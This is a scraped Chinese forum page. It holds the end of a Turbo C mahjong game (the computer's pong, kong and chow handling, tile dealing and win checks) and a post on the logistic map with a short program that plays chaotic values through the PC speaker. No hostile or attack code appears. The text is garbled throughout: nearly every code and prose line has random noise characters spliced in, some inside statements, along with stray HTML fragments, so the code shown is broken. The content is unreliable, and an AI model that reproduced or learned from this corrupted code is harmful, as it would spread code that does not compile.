/ Y) Y' \! y6 F. H$ F) Gy1=165;/ v; f8 J( ~. Y% _; _
fillRectangle(x1,y1,x1+20,y1+4,0);* L) @8 V+ k1 ?  o
}/ ~" h5 F+ T8 Y! D: O& y2 \, A6 H
if(every==9), u$ V: p) u* Z6 A# F8 ?6 ^% R; N
{
1 ~; ?- c# P3 K9 {) N4 H6 Ax1=200;
( u9 e; ^3 V5 ?y1=165;
! J2 _3 O8 U( v+ v$ V. ?! y* YfillRectangle(x1,y1,x1+20,y1+4,0);
% P$ {$ w- @# {2 T- Z}! ^3 R- T- I6 s  v+ v; T
if(every==10)
- N$ Y9 T! Q( k9 r8 ^) J8 @{
) c8 I: R: @4 _( H% `x1=220;, z, w  d2 Y( T/ c# `) w$ ~" U6 L
y1=165;
$ ]! @. G0 G" b4 WfillRectangle(x1,y1,x1+20,y1+4,0);
: C& {: D" ~6 o6 Q9 `}
0 T$ k. c+ ^& u7 N5 Aif(every==11)
/ y+ B1 l3 n1 r& Z3 u* L0 v) V{
5 ?5 C, D8 p- x1 r! {% [x1=240;
  ?2 ^) T( e5 ly1=165;
* \5 E. X6 G3 A; {8 v' p' _3 _% }fillRectangle(x1,y1,x1+20,y1+4,0);4 W2 \1 V: H; @$ o
}
+ K0 @" z# n1 G( e9 S( Pif(every==12)6 }* c1 X- E& e+ _/ _3 j
{
) Q* e# ]- s% Wx1=260;; y5 L0 w- Y. {  R9 {7 d( t$ T/ [
y1=165;
$ K( s( C5 ]% S/ B+ F9 k: JfillRectangle(x1,y1,x1+20,y1+4,0);
8 M/ b9 l9 A" D4 V& {}* d, g+ i( V# x7 Y- o

" v( D4 j  L' g3 F+ c0 Rzz=0;
; U$ j" R& G; C" }( i) \5 cevery++;
, B$ o6 @6 x' G: N9 _5 Tz=z+20;0 k" p" `) \' X7 t
}4 k  A( m1 Z  }+ S5 ?
showbmp(every);7 m5 {# g" [. q; R- i( U
key=keyy;/ |- k; m( ^8 i) d& i
if(keyy==ENTER)" U* A) X0 S7 g% m
{
0 j/ F- z0 h9 ]: @# Lrgzn(every); /*********************/
0 T' d6 H0 b1 i; x: y$ iif(sing==1) /*如果可以乓,做相应的处理*/: d3 W7 E4 c" ^9 z/ d+ i8 e
{ * Y+ i& i" ?, V
kkk=0;
3 x/ j& g5 m, w: R! z. N: Bkkkk=0;
9 H- u* q4 H( @2 g9 Kwhile(kkk&lt;=computer.m)
- J: V, B' Q4 g) t1 x  L( k{! J; ?( G* V! u( R" ^/ C' ?
if(computer.pp[kkk].p!=1). \2 n* ~" Z& |  q) }7 S  B
{
9 B$ p  R: b2 @0 Hcomp.pp[kkkk].k=computer.pp[kkk].k;7 ?# e- @6 H0 ^3 V6 C9 e
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
4 J0 L7 U& `2 q- y2 j$ ecomp.pp[kkkk].number=computer.pp[kkk].number;
1 y6 Q! m: G, Z7 z$ J, v0 fkkkk++;5 I% |5 K% ~% v5 j: ~3 h& U1 {
}
3 [' Y( }! Q7 ?else
+ m+ M- o* {5 Z3 C2 l! i{
! m7 a7 G6 Q+ o7 s2 ]" ~" ]" ~m[computer.pp[kkk].number].data1=1;
4 L( D) W/ b: H) u, Adwei=computer.pp[kkk].number;  A, o, `6 T& o& }& O& w
computer.pp[kkk].p=0;" g5 L8 }  h( L) @- J
}4 g; W1 k+ [2 q: L+ u$ F
kkk++;8 o0 n; V/ \. o2 p9 V
}! @6 q/ g% J: M: o& C
ll=0;
; ^$ ?9 o3 `: K) |0 d' I1 n8 F" c2 u3 ]% _9 J  b9 Q/ L8 Q% l1 l
while(ll&lt;3)  @( ^( @- z' `5 G6 n. q
{ zl=zl+20;7 x/ N9 Z( ]1 A+ G, [3 Q
bmpp(dwei); /*显示乓的牌*/  y5 k% h% f9 g1 S0 \- q3 I
ll++;. ~& A  W1 y' L3 f8 Z* r5 {
}
, ^, I- f) V' I: U" C1 j  N  i2 H" t. H$ r5 e" n
zl=zl+9600-60;, o8 x" A7 C- F& [$ h: L
kkk=0;
5 b  P2 C* z; T4 y' D; E; ccomputer.m=computer.m-2;. s+ B' M- e) N
while(kkk&lt;=computer.m)
, F, H8 ^+ T; N& l  u0 g' _{0 R, |2 ]* \  l. g' l
computer.pp[kkk].k=comp.pp[kkk].k;
3 m! l. a) I8 g. ^/ Vcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;: {, e" }" u( E. d# l& `- T$ w$ v' c
computer.pp[kkk].number=comp.pp[kkk].number;. o. \3 [, Q: E4 A- M
kkk++;$ E/ Y% a; x/ W4 f  o; x+ A9 q5 {# x
}
9 W- Z& J% u6 T3 v/ Rll=0;/ N4 \# f; x5 O/ m5 o
temp=random(computer.m); /*出牌等待完善*/
* J& |  l" X/ N( K. m0 j1 o% M! Nzyy=zyy+9280+20;
7 L8 V$ n9 m  {" qshowcbmp(temp);
4 X4 L" w3 @6 s3 izyy=zyy-9280;
9 S. ~, ~. e4 f9 r/*****/
+ P$ |4 P/ j0 S0 i6 Lrgznme(temp);
* S3 C) E4 g. i4 p& L+ M- H9 B8 Vpanduan();
0 ^6 I1 }& q* d* t8 f, x5 i- Pif(me.m==0)
) x0 V) x# v3 e6 ?if(second==1 &amp;&amp; threes==0)
. Q' n3 P- Z# p: Nprintf("you win!");# t3 H( S  x! T8 {
if(me.m==3)
- o% k3 l4 G8 d3 Zif(second==1 &amp;&amp; threes==1)0 M5 s8 `+ }% Q* h5 k% K* G) V
printf("you win!");( S7 _4 \6 d, Y- h" o% N5 D& {
if(me.m==6)
9 L* |4 {8 S/ Aif(second==1 &amp;&amp; threes==2)
4 y: c8 J; i, Z% k( Iprintf("you win!");% f9 |( ]1 Z( \3 Q' G' N
if(me.m==9)
' {3 ~) V, B5 a+ O; W  Lif(second==1 &amp;&amp; threes==3): e# B4 a% P% d' G! O# h- W. x- J
printf("you win!");
. F: b- `) P5 ?, ]if(me.m==12)/ c' `+ n; c( }; u1 l$ }
if(second==1 &amp;&amp; threes==4)1 w  m' Z' S6 P! U. p5 |1 e# _
printf("you win!");
8 B& I9 o% _" L  j0 C+ R. O: g2 S0 w# R8 L
kkk=0;
6 ?- C0 [# q9 e* y* k1 C  tkkkk=0;
5 E" b- R9 S# h" y$ Z! @while(kkk&lt;=computer.m)
8 {! a5 q; A% \6 H, u4 n! T1 }( l" P{
, K2 X0 }* r5 U8 ]& k! f6 Rif(kkk!=temp)8 ^8 k% j9 ?; r* e5 \+ J& K
{* b& ~# E& j+ W7 |3 b
comp.pp[kkkk].k=computer.pp[kkk].k;+ p2 e3 V% A, N8 W7 j
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;# `6 v( Y% T% {" `0 A" Y2 O, K
comp.pp[kkkk].number=computer.pp[kkk].number;* Z6 ?. i& q' Q& s9 [; o
kkkk++;
7 s8 K$ _2 x; b8 x}
7 j1 R/ c( [' j3 Felse
# c' S& z8 H. om[computer.pp[kkk].number].data1=1;
0 h7 K# K9 V- j3 ~& Okkk++;9 q& {8 }' }& h$ G9 G
}
2 d1 S5 M+ _# O( E0 v0 ?/ xkkk=0;
/ S" b$ J. [  M2 O& k2 \computer.m=computer.m-1;- p2 s0 l  W( B( h6 N
while(kkk&lt;=computer.m)
9 [- s2 v4 }7 ^' V* q+ E6 R{4 x" y; L- k) K; W! A. p
computer.pp[kkk].k=comp.pp[kkk].k;1 w6 `* p  S% K/ m
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
/ J1 c1 m- y, }" @' |5 acomputer.pp[kkk].number=comp.pp[kkk].number;
* M* D; J, X2 o. K2 k6 wkkk++;
+ s7 }" e0 ]2 x}+ ^) D! W, `4 f5 ]/ g0 s  Y2 b
fillRectangle(0,0,320,30,0);3 Q* i3 h6 c7 c+ L2 R$ z
n=computer.m;
% X7 P8 \  M" h" j) i6 qll=0;. a& P8 p+ i" n
zy=0;
2 u( ?8 k# ^4 Q+ z' ?- i  O9 owhile(ll&lt;=n)
4 ?( {' U. o! o4 D! y+ J* _3 r{' b5 x3 ]! @( d& s8 B$ d
zy=zy+20;
* w/ D- E& z% x0 dshowybmp(ll);% d& G3 |1 C3 d5 Q5 e  \
ll++;
8 `# ~' a- q4 B# a9 u1 `}
! |8 j8 P' ~6 B  T& N& c# sll=0;
) W1 b. k5 {" ~0 ^getch();9 B* u& S2 w7 O" e
sing=0;  E4 T9 ?6 ~/ j0 u
sing1=1;
7 ^5 y+ L* Z1 J- h}
8 _( v# Z' q. n3 j/ n7 a8 E  J6 {) g
if(sing==2) /*如果可以杠的做相应处理*/8 b( w+ y! b3 l
{
- I( Y: O4 G9 j0 y/ l. akkk=0;
, s6 l% H- F- p/ H0 A. L2 Vkkkk=0;
& M1 C7 n0 m$ R! \while(kkk&lt;=computer.m)
  a( {; f" R2 a! W# ~1 l  O) J{/ }. d" k  m. R- ?, v4 M; w
if(computer.pp[kkk].g!=1)# L. c/ P1 ~, v/ i6 G# s, D0 ^% N
{& x: p9 l: z" r
comp.pp[kkkk].k=computer.pp[kkk].k;9 r  B$ J+ ?+ d  D: H
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;* N" x  ]  t- U) s+ p
comp.pp[kkkk].number=computer.pp[kkk].number;
! r/ P8 e+ |% n* O6 Jkkkk++;
! E2 g6 x4 J( \}
- A7 F$ n) U0 F/ y, b! Helse
' C( f% _) Q1 W{
+ K4 M) D* {- S: o: `1 Ym[computer.pp[kkk].number].data1=1;! q7 L7 H  e" {% T! q: p% a
dweig=computer.pp[kkk].number;
: ]7 {" S1 l, |( ~1 lcomputer.pp[kkk].g=0;
, K0 R! A2 W, Q}5 ~2 S6 K0 \/ O
kkk++;
7 s; s+ X. _0 c" o8 ~! c) k/ q}
- ?( U& Y+ s3 K% s3 a$ R9 @  wll=0;
% W. N6 f; R% m, }( k: b
4 n3 T) e# y+ H* ^" Mwhile(ll&lt;=3)
# G9 s1 a, Q9 f2 z{ zl=zl+20;6 m( K& D! |' w0 H& ?# v
bmpp(dweig); /*显示杠的牌*/2 C7 q: ?, ]8 N0 }* i3 z
ll++;
+ Q* \: n' j: ^}
, |' \: Y6 Z6 Nzl=zl+9600-60;7 _3 H3 j8 `1 o( K
kkk=0;
' @, I+ c2 d/ y8 Z/ I- Mcomputer.m=computer.m-3;5 R* z0 T! I% }! Y. S
while(kkk&lt;=computer.m)
, v, |- Z+ C4 Y{% Y. r1 S0 \  m, C
computer.pp[kkk].k=comp.pp[kkk].k;
0 e1 e3 D* E  \. n" N; E0 Y. _computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
9 I% U- M6 Y+ B3 B* {; ^$ @$ rcomputer.pp[kkk].number=comp.pp[kkk].number;
; f1 b6 a4 f/ W* Z: W/ f$ skkk++;6 `1 w$ i" i, w3 z3 y: P
}
) I. x* x  g8 c& n+ Z6 t3 t* Ukk=0;; H/ s  k) H+ |4 ~& {
computer.m++; /*加一个牌的容量*/) L6 x2 B' ^5 @. |' }
while(kk!=1)
+ j% Q' U$ n5 w( I% }, s  t' W{. f1 G- R& s: X2 S+ T$ J
temp=random(136); /*出牌*/
( o) h. b0 ~5 l6 o+ \  Hif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
3 y% q3 M: L" \2 i8 K9 _4 n, J; A{
* [9 q2 @9 p4 {7 Rcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/9 n' ~) u1 |9 O3 [2 k2 _) ?
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/  S% r3 ~. O9 X2 E- X
computer.pp[computer.m].number=temp; /*第几张,用来排序*/
% q0 T. I+ e2 f7 Lm[temp].data2=2; /*判断牌是谁的,2为电脑*/
" L$ v! b4 w/ W  {kk=1;# P: @; g  A( Q6 {. A
}8 i( w- s$ Q; b4 R
}, C* L+ _! {( k0 X
comlipai();
' G8 h$ g% H, z/ \+ L% Ftemp=random(computer.m); /*出牌,等待完善*/
+ U, A8 L5 u& e8 R" p& Ezyy=zyy+9280+20;
2 G! L# W6 ?: j/ Vshowcbmp(temp);# p) B2 I$ }8 r: J% a5 n0 a# |, K
zyy=zyy-9280;
: g7 i9 U$ M0 D3 l$ d% P1 J/*****/3 [7 o$ q3 I( O4 I' `# R
rgznme(temp);$ ]' v+ t0 _9 U8 R4 v
panduan();4 }4 V+ S3 {, u% B3 t
if(me.m==0)
3 ?% z7 s6 ~$ }* W; G! ~4 bif(second==1 &amp;&amp; threes==0)
" K6 e& |2 c1 N8 d" _! Jprintf("you win!");+ q# l# ^8 q4 N4 J3 d" q
if(me.m==3)1 ~/ i+ @# I; N0 N: g
if(second==1 &amp;&amp; threes==1)% j2 P7 m4 {! Z: U# t7 I$ g
printf("you win!");
2 u' ~6 D3 J; z; n: yif(me.m==6)% c& \, E1 t, p) [/ V  E" g; |
if(second==1 &amp;&amp; threes==2)
$ b9 r% Z2 H3 M0 E! o! ]- sprintf("you win!");
# ^* C  O/ n: _) Eif(me.m==9)
$ z0 X+ u7 q% _: y4 kif(second==1 &amp;&amp; threes==3)
9 L' ~" K9 j! H" h/ Tprintf("you win!");
1 Q5 K5 F$ N& @, Nif(me.m==12)! T. P( f. m/ e% V1 d, p
if(second==1 &amp;&amp; threes==4)
- @9 B4 l2 A- D8 m! D6 q# `# A; C. Kprintf("you win!");  o8 _) B: o1 a. ~' e
7 S. s& a: b/ v  j% a3 ^) X1 ^
kkk=0;
+ x- M% n+ Q6 n+ ~kkkk=0;) Y" O: v% q3 E' O0 f$ [# A" Q
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/3 s7 q' ]: V7 ]. p) L3 `
{
8 @9 a/ }  t) {. l/ _, ]if(kkk!=temp)+ {" b0 C4 D! x+ A0 f- e9 R! S
{
! X* B- L" n! W; _  acomp.pp[kkkk].k=computer.pp[kkk].k;
8 j( J* Y. ?; G1 a: R5 {2 ^comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;$ D& H( D. H/ F: X5 d! F
comp.pp[kkkk].number=computer.pp[kkk].number;
6 z+ Y7 q+ Q4 O; ]2 X+ z) Ykkkk++;
+ L- @$ B; U8 ]( y7 G}
/ @- N2 F) Q! m2 Q/ ]- ^else) ?1 z7 [2 v3 ~
m[computer.pp[kkk].number].data1=1;6 s* O! [( e3 I, E* G
kkk++;
( `. L5 i% J$ E5 I0 _5 o1 @}
6 n8 s$ \. C3 O7 o1 ]  G$ Ykkk=0;) p4 F: R2 E) w% I( ]& t( Y, A
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/6 N- q2 u9 S* G: u
while(kkk&lt;=computer.m) + y$ _0 Z# B& V
{
9 A, ^. ~$ A8 Ncomputer.pp[kkk].k=comp.pp[kkk].k;- D$ c) x" A/ A+ \2 V
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;$ _6 q3 c2 }) b9 o; g# S0 y. h0 h
computer.pp[kkk].number=comp.pp[kkk].number;7 @! e1 d9 Z6 X& {, B
kkk++;+ U) b! ~2 O% H  G, q
}; G! M$ v& E/ z5 o" K( n+ ?) O: R2 A
fillRectangle(0,0,320,30,0);
6 w' w- m1 n; gll=0;6 h5 J3 B# z/ [# G: H/ t3 N
zy=0;8 j6 C& H& X- v( h* f: e
while(ll&lt;=computer.m)6 O8 f+ W- U  R
{% m3 m# U2 S2 x
zy=zy+20;
+ E. W# C1 Q" F$ X% A2 x: |. J1 Ushowybmp(ll);
0 }, t; p$ |& v2 s; P5 f9 Bll++;
! {/ V  |) ^  m1 W; J  l$ Y}! l+ n& z3 \$ k% q/ x2 S
sing=0;
- ~* @& M, v0 [2 J, d0 j8 {$ vsing1=1;; E8 L; l4 ^+ [# k# {- U  u
}
- O: d2 [8 i. V/ u3 S" ~if(sing==7) /*如果可以吃的,做相应处理*/$ M5 m3 V9 X3 @8 k
{ nn=0;* k7 E( Y& b# {, `, D' w
kkk=0;
; c1 L2 E! E" O3 B% ]kkkk=0;! {7 l; `' n. ?6 R0 ^
while(kkk&lt;=computer.m)0 T* ]1 ^9 P, Q' ^. s& K& r
{
  r2 @! D( R- J+ s; O" oif(computer.pp[kkk].c!=1)
4 D1 l5 y1 v* d7 m3 v$ b/ b$ G! m6 X{
/ k% i! R  y4 f9 Q- ~- kcomp.pp[kkkk].k=computer.pp[kkk].k;- F* L$ E2 ?6 Y; L- I  l
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;4 k7 r2 {" i/ |: ~2 s
comp.pp[kkkk].number=computer.pp[kkk].number;
. f0 Z. o5 \1 L- Z0 I* \7 Vkkkk++;. N* A, M$ o, V& G* y  q6 P
}! \9 x6 ]' w, A( m4 u  ^, [, Z
else
" ~+ A, n& W; c{/ d5 c( C+ y$ s" F4 D
m[computer.pp[kkk].number].data1=1;
' ]& t; Y0 m0 G% rdw[nn++]=computer.pp[kkk].number;
5 {# O! ^$ Y( Q+ K; V8 ~7 ecomputer.pp[kkk].c=0;
0 h, r% S6 S8 v4 e}# J, [. f' b# U# k: N! E# M( @
kkk++;
  f7 i; n: i5 o0 C0 j}7 {$ g0 ]9 s1 ~! H; k! c) t3 A

% A, D) U# P+ o; p$ M1 Gif(me.pp[every].number&lt;dw[0])
/ ?  u) Z; c8 m/ L9 p( r( s2 P% B{
' l- H/ O& S& Ldw[2]=dw[1];
/ p! L" @) ^, ~8 R& m6 c- r: }* Fdw[1]=dw[0];
' k& f7 _% c8 ~dw[0]=me.pp[every].number;  |. U* ~3 I, Y& s5 b7 I5 x' F
}
8 ^: u1 b1 v0 b8 x8 aif(me.pp[every].number&gt;dw[1])
  p; I. {5 C' c8 F4 b+ k2 X# u- c{
+ g5 I9 g1 F( H# p" E% n; j' Ndw[2]=me.pp[every].number;: v0 Y/ p2 X% e  f, M
}
+ S- `9 g7 U& j& s( V" y* Lif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])6 K" P$ k8 C9 r) R# @# Y$ ]
{
5 X( {! [; H; N+ b' u/ k# ?. t3 y' [1 vdw[2]=dw[1];
6 S4 z! ]0 O7 l" U8 g* u: ndw[1]=me.pp[every].number;
+ _& I) P' K" T  b) b8 C" ^}) x- l8 O! {) c2 r( K- u0 J
nn=0;; r2 W5 ~3 q' D- f) B
while(nn&lt;3)1 D' p. T4 g3 o% e6 b& e6 M
{ zl=zl+20;  d3 G6 H- C% [% }, K# u; p: e
bmpp(dw[nn]); /*显示吃的牌*/- Y7 X' s& H% C, A
nn++;
4 z. R% H- e5 \( _3 i' Z( I; A}
' v/ ^0 `, Z8 }' c% R/ F( ~zl=zl+9600-60;# p4 Q4 t, Q3 h. S' M# u
kkk=0;; n( G' v8 N4 z% L# j
computer.m=computer.m-2;
7 b) n  Q: y4 n! K% i5 B) ?9 L- Q$ Qwhile(kkk&lt;=computer.m)
+ j+ W# P0 j0 X5 ]{
- R, I! ~9 t4 n! @6 S( vcomputer.pp[kkk].k=comp.pp[kkk].k;0 g6 \0 j# N; n- J
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
* u' m8 m* r  N# u- pcomputer.pp[kkk].number=comp.pp[kkk].number;
. X# J/ l+ C1 N. G2 ukkk++;0 O, E, l& H* t, ]& \$ G0 `: ^8 ]
}  S8 j; q# S% ?0 _. T6 b. G. P
ll=0;
2 ]0 n, N$ C' J1 k6 t+ ttemp=random(computer.m); /*出牌等待完善*/! F. x: i. U9 ?5 w8 C0 X; G, r
zyy=zyy+9280+20;
. B: c4 U$ z$ u" b/ tshowcbmp(temp);
# W4 o- d  v* |8 _zyy=zyy-9280;/ [; {0 Y/ K! y+ C; j+ C/ |
/*****/$ c- b0 ?1 Z# o5 X, p1 j' S( ]8 o- R
rgznme(temp);& U# u# ?2 @7 P) i$ p& W, ^
panduan();6 u' v9 u9 U% }2 r
if(me.m==0)
8 P: }0 [$ L% v! h/ i- U9 A( B! f* Iif(second==1 &amp;&amp; threes==0)
( ^; v6 G  _3 Zprintf("you win!");
7 ^+ |6 l. R5 m4 Z/ H: aif(me.m==3)# X  ]! o: b" S' m; \* w/ }2 n
if(second==1 &amp;&amp; threes==1)
) N9 a! L9 X& i/ {: z8 |printf("you win!");1 ]2 d; o) w; k5 L* K. N4 X# X* }
if(me.m==6)3 e4 l; y" }- _4 P
if(second==1 &amp;&amp; threes==2). N8 w2 x% b6 O" P( s0 Q2 ?
printf("you win!");
7 N  l9 C1 W; N# x, ]5 _; M, P4 G1 `" E! Bif(me.m==9)
, Y" \/ [0 v7 ^' K9 N& I+ o1 Iif(second==1 &amp;&amp; threes==3)2 [/ Y9 e$ X+ }) d% x
printf("you win!");. M* j1 q9 V) Q( M, p# g9 Z2 _
if(me.m==12)4 J& X* l% y7 I& I
if(second==1 &amp;&amp; threes==4)
) N! c+ `. E' g7 l. gprintf("you win!");) ]& ?7 ^0 A2 y: V
& Z3 C2 s' ~2 [! u. J0 i- z
kkk=0;1 c2 f5 J9 ^- u. Q
kkkk=0;6 @& b, M0 Y7 i2 W
while(kkk&lt;=computer.m)" ^2 w  n3 ~* L# C$ b! P5 b
{  ]. g$ }! I$ ~5 Y  x. S0 m7 H
if(kkk!=temp)
6 q) O" {4 w; h( J{
3 ^$ T; K# H+ h2 N8 O, Ucomp.pp[kkkk].k=computer.pp[kkk].k;( J( R. m& ?$ |5 s1 s! z7 e
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
' k  ]. f; P6 A1 Y& dcomp.pp[kkkk].number=computer.pp[kkk].number;# h5 ~) J5 w4 ~5 [) Z
kkkk++;7 x7 g6 I9 W+ {
}* b, q: k; L. j$ \0 \. h( H+ s; B5 N
else* _3 ?* V8 L" Z8 B8 H% p0 A
m[computer.pp[kkk].number].data1=1;
" f; u6 H' e5 N8 X' o% m% e: t- {# bkkk++;( y' z5 [2 z, s
}8 {' t3 h/ m; S- k6 z
kkk=0;7 B% K: ^2 O$ P1 Y. z$ p
computer.m=computer.m-1;
" X0 n. J, D: m5 W. N0 I; twhile(kkk&lt;=computer.m) / x8 |3 N3 ^) K) a6 F! P& \* W
{
8 i2 y7 O- G+ s* y2 Ocomputer.pp[kkk].k=comp.pp[kkk].k;5 z( @9 q: C9 U/ x$ B2 x* p
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
' r2 R1 V/ [+ S2 {computer.pp[kkk].number=comp.pp[kkk].number;
* c+ |( X+ y$ c* ckkk++;- c2 }1 i6 b  L% X! `6 l
}9 }0 z6 f5 R7 S; u& G
fillRectangle(0,0,320,30,0);
2 J6 l; e) w  C) Q% rn=computer.m;
5 H! |# `( `5 P  \2 Z# ^& pll=0;! |0 `1 F) I6 e% W- Z9 x( U  [
zy=0;
  Q% o( u8 b& {* Swhile(ll&lt;=n)
8 I2 E" j4 I4 j4 D6 ~. U. V3 k1 A{
: U  v; b9 R0 Nzy=zy+20;& B. k! Q& e8 u; X3 r/ o
showybmp(ll);
+ D) J  j7 ~4 V  Tll++;* u/ l% b+ \  ]! w
}1 |6 r% K; ?3 d
1 N# O8 B( U* H6 ~( E0 W# J6 _/ Q# W
getch();4 f* ~1 F6 |$ A' W& P/ B$ V& s
sing=0;
' ]! u6 Q9 ^! w* a2 a1 d2 csing1=1;
/ m; p* i0 n: T8 Q}4 ]6 g% F' C( ~3 N1 [3 d, p
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
- U' T5 S* `( @, d+ T5 s5 q{
0 R% m4 }* d2 t) _1 B* vkk=0;- D; z! K' w' a
h=me.pp[every].number;: }  N0 v. N, x- s# r. D% {. Z( V
m[h].data1=1; /*此牌已经无用*/
) b$ G& m1 y/ T! hif(sing1!=1)
1 J- t& Y7 H" p{# D/ \' F% s' z" y6 E1 ]
zyy=zyy+9280+20;/ G4 A" {- k& N. H3 L9 h
showbmpd(every);
- C0 l( i6 l" Y9 J1 mzyy=zyy-9280;
( S0 x2 G" U) R7 G# c! J+ U}
, e! N. E( M5 \2 z" |7 O7 I* h6 Y: B- \while(kk!=1)
: ^7 i/ H* ~0 u6 X) L3 C5 S{
, [3 _  [& l, k2 u6 g) f. @5 Ntemp=random(136);; B+ q4 w1 X* }3 i* _
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
0 `/ C0 J3 g: k, f$ l{* }4 O4 I' [/ ]% \6 n9 N$ u
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/* e9 H. \" n& `3 z/ `) g
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/1 m& ^# A9 B7 r' y5 V$ ?( P" W
me.pp[every].number=temp; /*第几张,用来排序*/
" V! v5 H# Y: y( Rm[temp].data2=1; /*判断牌是谁的*/4 H+ ~! u$ O' C4 w
kk=1;& H" k$ F9 S; N0 L( t2 U* e8 z
}
$ I! w. }/ z5 h6 r0 `if(kk==0) /*判断如果又选择了,就从新再选*/
3 }% C8 T% G. N# xkk=0;4 j7 N  D7 f! D  p& D) h
}8 N  w* w* o+ a9 U" h: u3 m
}) j3 z) C! P$ X% H( T& n5 |9 Z% d% f
sing=0;) Y+ E5 f! a" x+ x4 v
sing1=0;- z/ p8 V) B6 ]% R& D
melipai();& P: c. A# ?) v2 v
n=13;5 A, f* i* V8 h& Z# x
z1=54400;
- D9 K; P, t8 B2 H+ f' H0 _* ~3 Al=0;# k. Z6 G4 c+ J, F6 X: `1 T
g=z;
. W( Y) k# o+ ^: v8 h+ cwhile(l&lt;n)
" ?$ `' m9 ~$ t! a* \3 Y$ ^0 M{ z=0;* h, e6 [5 k* [4 j! j& o  f- V
z1=z1+20;$ o5 J! j4 ]1 Y+ B+ U3 o, ?# ]# r
showbmp(l);
5 T5 Z' @. |2 G0 }' H2 i1 v4 Ql++;
2 g6 @6 c8 M' y; ~% y6 E}
3 |; i7 c* K0 d1 X: ]) J" sz1=0;
2 p; E: O5 t* `. V" o# j1 Kz=g;0 B; A6 l3 K. ], P3 \% `- g+ c2 D
}! s% x* Y9 V) a& Y) K
keyy=0;! O9 Y- Y* ], e: j, s5 d. p3 s2 V0 k! P
}
: A2 C; F8 @! ~- p3 x8 P% t+ U# ^" l+ y
getch();
3 f: q- o" z* \+ `& r# WOUTVGA;
5 R& ~; T( m" R8 a- X- l} # @' o1 N% r: y& \+ @: V
</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])/ T; @" F4 O, c/ ^
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
% c" J$ {7 t. X  w8 ^6 L0 ^
) o" t! Z1 K3 L2 T# d  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
( h% o4 Y2 f" v9 B  <FONT color=#009900>#include <DOS.H>
6 U: E- Y5 G0 I( {. L  #include <STDIO.H>& k: g+ J. J+ v* h0 ?0 u; Y
  main(){; f: b  M, o/ J3 X( R1 ?. O8 [
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/) S6 \* {& E6 C8 M% t* |! W
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
0 ]! L2 f! ]; ]( P, L) i( ~  /*i,j用于循环记数*/3 n- H7 W* l4 X% @: d/ ?! z: R0 P. P
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
/ \9 ~; d1 Q1 u) c$ c; i  fDis=fMax-fMin;
* n+ ]5 L" m* t* d$ e3 U  for(j=1;;j++){8 `, W& S7 H: P5 j
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/% }) ~. r( D  w1 R* J) T
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
3 q* {3 `/ r1 j7 B6 T, w5 A+ U  scanf("%f",&k);% ^# ?* H4 ?9 C, k
  if (k==0) break;/ D8 B6 c% P' N. @# A) v
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
6 g; X+ }) Q# j' ~' J+ N- _  x=k*x*(1-x);% G( A5 M7 V0 q4 R$ T" w
  for (i=1;i&lt;100;i++){$ s* h2 {0 `' e1 ?+ j2 \, R
  x=k*x*(1-x); /*计算x的值*/
1 z  g+ H: C9 {9 X1 `/ [  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
  v8 _5 V9 b: h% W  delay(1000); }' K4 ^" y) W5 O: d
  nosound(); }}6 r+ i: o" `% K+ j  v, J
